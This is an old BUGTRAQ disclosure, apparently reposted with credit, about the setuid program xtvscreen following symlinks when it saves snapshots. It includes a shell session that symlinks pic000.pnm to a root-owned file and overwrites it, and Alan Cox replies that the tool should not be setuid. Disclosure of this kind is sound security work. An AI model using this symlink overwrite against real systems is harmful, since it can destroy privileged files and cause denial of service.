Andre Cruz wrote in to BUGTRAQ with this:
You can use xtvscreen to overwrite any file on the system.
Xtvscreen has a function to capture a snapshot and will write it as
pic000.pnm, pic001.pnm, etc in it’s working directory. It follows
symlinks.
root@korn:/tmp > ls -l exp
-rw-r--r-- 1 root root 4 Feb 18 15:42 exp
edevil@korn:~ > ln -s /tmp/exp pic000.pnm
edevil@korn:~ > xtvscreen
Sound mixer initialized !
Using Visual TrueColor
msize: 0x00640000
/*
Start->Capture goes here
Start->Snapshot goes here */
[1]+ Stopped xtvscreen
edevil@korn:~ > cd /tmp
edevil@korn:/tmp > ls -l exp
-rw-r--r-- 1 root root 453135 Feb 18 15:47 exp
edevil@korn:/tmp >
I don't know how to write arbitrary data to the file but it can be used
for DoS.
If this is already known I'm sorry.
Alan Cox responded with:
Xtvscreen really should not be installed setuid. The only reason
to do so is because something has to tell the capture card where
the frame buffer is. This should be the Xserver (patched), or one
of the small helper applications available for this.
Thanks to Paul
McNeal for the tip-off. -lt ed